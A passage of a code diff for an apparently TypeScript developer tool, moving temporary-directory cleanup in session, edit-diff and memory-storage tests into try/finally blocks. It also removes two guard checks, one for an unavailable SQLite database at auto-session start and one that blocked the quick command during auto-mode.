  it("tracks assistant usage incrementally without rescanning entries", () => {
34
- dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
35
- const manager = SessionManager.create(dir, dir);
26
+ const dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
27
+ try {
28
+ const manager = SessionManager.create(dir, dir);
36
29
 
37
- manager.appendMessage({ role: "user", content: [{ type: "text", text: "hello" }] } as any);
38
- manager.appendMessage(makeAssistantMessage(10, 5, 3, 2, 0.25));
39
- manager.appendMessage(makeAssistantMessage(7, 4, 1, 0, 0.1));
30
+ manager.appendMessage({ role: "user", content: [{ type: "text", text: "hello" }] } as any);
31
+ manager.appendMessage(makeAssistantMessage(10, 5, 3, 2, 0.25));
32
+ manager.appendMessage(makeAssistantMessage(7, 4, 1, 0, 0.1));
40
33
 
41
- assert.deepEqual(manager.getUsageTotals(), {
42
- input: 17,
43
- output: 9,
44
- cacheRead: 4,
45
- cacheWrite: 2,
46
- cost: 0.35,
47
- });
34
+ assert.deepEqual(manager.getUsageTotals(), {
35
+ input: 17,
36
+ output: 9,
37
+ cacheRead: 4,
38
+ cacheWrite: 2,
39
+ cost: 0.35,
40
+ });
41
+ } finally {
42
+ rmSync(dir, { recursive: true, force: true });
43
+ }
48
44
  });
49
45
 
50
46
  it("resets totals when starting a new session", () => {
51
- dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
52
- const manager = SessionManager.create(dir, dir);
53
- manager.appendMessage(makeAssistantMessage(5, 5, 0, 0, 0.05));
54
- assert.equal(manager.getUsageTotals().input, 5);
47
+ const dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
48
+ try {
49
+ const manager = SessionManager.create(dir, dir);
50
+ manager.appendMessage(makeAssistantMessage(5, 5, 0, 0, 0.05));
51
+ assert.equal(manager.getUsageTotals().input, 5);
55
52
 
56
- manager.newSession();
57
- assert.deepEqual(manager.getUsageTotals(), {
58
- input: 0,
59
- output: 0,
60
- cacheRead: 0,
61
- cacheWrite: 0,
62
- cost: 0,
63
- });
53
+ manager.newSession();
54
+ assert.deepEqual(manager.getUsageTotals(), {
55
+ input: 0,
56
+ output: 0,
57
+ cacheRead: 0,
58
+ cacheWrite: 0,
59
+ cost: 0,
60
+ });
61
+ } finally {
62
+ rmSync(dir, { recursive: true, force: true });
63
+ }
64
64
  });
65
65
  });
@@ -60,26 +60,26 @@ describe("edit-diff", () => {
60
60
  assert.match(result.diff, /CHANGED/);
61
61
  });
62
62
 
63
- it("computes diffs for preview without native helpers", async (t) => {
63
+ it("computes diffs for preview without native helpers", async () => {
64
64
  const dir = mkdtempSync(join(tmpdir(), "edit-diff-test-"));
65
- t.after(() => {
66
- rmSync(dir, { recursive: true, force: true });
67
- });
68
-
69
- const file = join(dir, "sample.ts");
70
- writeFileSync(file, "const title = “Hello”;\n", "utf-8");
65
+ try {
66
+ const file = join(dir, "sample.ts");
67
+ writeFileSync(file, "const title = “Hello”;\n", "utf-8");
71
68
 
72
- const result = await computeEditDiff(
73
- file,
74
- "const title = \"Hello\";\n",
75
- "const title = \"Hi\";\n",
76
- dir,
77
- );
69
+ const result = await computeEditDiff(
70
+ file,
71
+ "const title = \"Hello\";\n",
72
+ "const title = \"Hi\";\n",
73
+ dir,
74
+ );
78
75
 
79
- assert.ok(!("error" in result), "expected a diff result");
80
- if (!("error" in result)) {
81
- assert.equal(result.firstChangedLine, 1);
82
- assert.match(result.diff, /\+1 const title = "Hi";/);
76
+ assert.ok(!("error" in result), "expected a diff result");
77
+ if (!("error" in result)) {
78
+ assert.equal(result.firstChangedLine, 1);
79
+ assert.match(result.diff, /\+1 const title = "Hi";/);
80
+ }
81
+ } finally {
82
+ rmSync(dir, { recursive: true, force: true });
83
83
  }
84
84
  });
85
85
  });
@@ -1,5 +1,5 @@
1
1
  import assert from "node:assert/strict";
2
- import { describe, it, afterEach } from "node:test";
2
+ import { describe, it, mock } from "node:test";
3
3
  import { mkdtempSync, rmSync, readFileSync, existsSync } from "node:fs";
4
4
  import { join } from "node:path";
5
5
  import { tmpdir } from "node:os";
@@ -15,84 +15,84 @@ function wait(ms: number): Promise<void> {
15
15
  }
16
16
 
17
17
  describe("MemoryStorage debounced persistence", () => {
18
- let dir: string;
19
-
20
- afterEach(() => {
21
- if (dir) {
22
- rmSync(dir, { recursive: true, force: true });
23
- }
24
- });
25
-
26
18
  it("multiple rapid mutations only trigger one persist write", async () => {
27
- dir = makeTmpDir();
19
+ const dir = makeTmpDir();
28
20
  const dbPath = join(dir, "test.db");
29
- const storage = await MemoryStorage.create(dbPath);
30
-
31
- const initialStat = readFileSync(dbPath);
32
- const initialMtime = initialStat.length;
33
-
34
- storage.upsertThreads([
35
- { threadId: "t1", filePath: "/a.txt", fileSize: 100, fileMtime: 1000, cwd: "/proj" },
36
- ]);
37
- storage.upsertThreads([
38
- { threadId: "t2", filePath: "/b.txt", fileSize: 200, fileMtime: 2000, cwd: "/proj" },
39
- ]);
40
- storage.upsertThreads([
41
- { threadId: "t3", filePath: "/c.txt", fileSize: 300, fileMtime: 3000, cwd: "/proj" },
42
- ]);
43
-
44
- const afterMutationsBuf = readFileSync(dbPath);
45
- assert.deepEqual(
46
- afterMutationsBuf,
47
- initialStat,
48
- "File should not have been written yet (debounce window has not elapsed)",
49
- );
50
-
51
- await wait(700);
52
-
53
- const afterDebounceBuf = readFileSync(dbPath);
54
- assert.notDeepEqual(
55
- afterDebounceBuf,
56
- initialStat,
57
- "File should have been written after debounce window elapsed",
58
- );
59
-
60
- const stats = storage.getStats();
61
- assert.equal(stats.totalThreads, 3);
62
-
63
- storage.close();
21
+ try {
22
+ const storage = await MemoryStorage.create(dbPath);
23
+
24
+ const initialStat = readFileSync(dbPath);
25
+ const initialMtime = initialStat.length;
26
+
27
+ storage.upsertThreads([
28
+ { threadId: "t1", filePath: "/a.txt", fileSize: 100, fileMtime: 1000, cwd: "/proj" },
29
+ ]);
30
+ storage.upsertThreads([
31
+ { threadId: "t2", filePath: "/b.txt", fileSize: 200, fileMtime: 2000, cwd: "/proj" },
32
+ ]);
33
+ storage.upsertThreads([
34
+ { threadId: "t3", filePath: "/c.txt", fileSize: 300, fileMtime: 3000, cwd: "/proj" },
35
+ ]);
36
+
37
+ const afterMutationsBuf = readFileSync(dbPath);
38
+ assert.deepEqual(
39
+ afterMutationsBuf,
40
+ initialStat,
41
+ "File should not have been written yet (debounce window has not elapsed)",
42
+ );
43
+
44
+ await wait(700);
45
+
46
+ const afterDebounceBuf = readFileSync(dbPath);
47
+ assert.notDeepEqual(
48
+ afterDebounceBuf,
49
+ initialStat,
50
+ "File should have been written after debounce window elapsed",
51
+ );
52
+
53
+ const stats = storage.getStats();
54
+ assert.equal(stats.totalThreads, 3);
55
+
56
+ storage.close();
57
+ } finally {
58
+ rmSync(dir, { recursive: true, force: true });
59
+ }
64
60
  });
65
61
 
66
62
  it("close() flushes pending changes immediately without waiting for debounce", async () => {
67
- dir = makeTmpDir();
63
+ const dir = makeTmpDir();
68
64
  const dbPath = join(dir, "test.db");
69
- const storage = await MemoryStorage.create(dbPath);
70
-
71
- const initialBuf = readFileSync(dbPath);
72
-
73
- storage.upsertThreads([
74
- { threadId: "t1", filePath: "/a.txt", fileSize: 100, fileMtime: 1000, cwd: "/proj" },
75
- ]);
76
-
77
- const beforeCloseBuf = readFileSync(dbPath);
78
- assert.deepEqual(
79
- beforeCloseBuf,
80
- initialBuf,
81
- "File should not have been written yet (debounce window has not elapsed)",
82
- );
83
-
84
- storage.close();
85
-
86
- const afterCloseBuf = readFileSync(dbPath);
87
- assert.notDeepEqual(
88
- afterCloseBuf,
89
- initialBuf,
90
- "File should have been written immediately on close()",
91
- );
92
-
93
- const reopened = await MemoryStorage.create(dbPath);
94
- const stats = reopened.getStats();
95
- assert.equal(stats.totalThreads, 1, "Data should be persisted and readable after close");
96
- reopened.close();
65
+ try {
66
+ const storage = await MemoryStorage.create(dbPath);
67
+
68
+ const initialBuf = readFileSync(dbPath);
69
+
70
+ storage.upsertThreads([
71
+ { threadId: "t1", filePath: "/a.txt", fileSize: 100, fileMtime: 1000, cwd: "/proj" },
72
+ ]);
73
+
74
+ const beforeCloseBuf = readFileSync(dbPath);
75
+ assert.deepEqual(
76
+ beforeCloseBuf,
77
+ initialBuf,
78
+ "File should not have been written yet (debounce window has not elapsed)",
79
+ );
80
+
81
+ storage.close();
82
+
83
+ const afterCloseBuf = readFileSync(dbPath);
84
+ assert.notDeepEqual(
85
+ afterCloseBuf,
86
+ initialBuf,
87
+ "File should have been written immediately on close()",
88
+ );
89
+
90
+ const reopened = await MemoryStorage.create(dbPath);
91
+ const stats = reopened.getStats();
92
+ assert.equal(stats.totalThreads, 1, "Data should be persisted and readable after close");
93
+ reopened.close();
94
+ } finally {
95
+ rmSync(dir, { recursive: true, force: true });
96
+ }
97
97
  });
98
98
  });
@@ -551,20 +551,6 @@ export async function bootstrapAutoSession(
551
551
  }
552
552
  }
553
553
 
554
- // Gate: abort bootstrap if the DB file exists but the provider is
555
- // still unavailable after both open attempts above. Without this,
556
- // auto-mode starts but every gsd_task_complete / gsd_slice_complete
557
- // call returns "db_unavailable", triggering artifact-retry which
558
- // re-dispatches the same task — producing an infinite loop (#2419).
559
- if (existsSync(gsdDbPath) && !isDbAvailable()) {
560
- ctx.ui.notify(
561
- "SQLite database exists but failed to open. Auto-mode cannot proceed without a working database provider. " +
562
- "Check for corrupt gsd.db or missing native SQLite bindings.",
563
- "error",
564
- );
565
- return releaseLockAndReturn();
566
- }
567
-
568
554
  // Initialize metrics
569
555
  initMetrics(s.basePath);
570
556
 
@@ -188,14 +188,6 @@ export async function handleWorkflowCommand(trimmed: string, ctx: ExtensionComma
188
188
  return true;
189
189
  }
190
190
  if (trimmed === "quick" || trimmed.startsWith("quick ")) {
191
- if (isAutoActive()) {
192
- ctx.ui.notify(
193
- "/gsd quick cannot run while auto-mode is active.\n" +
194
- "Stop auto-mode first with /gsd stop, then run /gsd quick.",
195
- "error",
196
- );
197
- return true;
198
- }
199
191
  await handleQuick(trimmed.replace(/^quick\s*/, "").trim(), ctx, pi);
200
192
  return true;
201
193
  }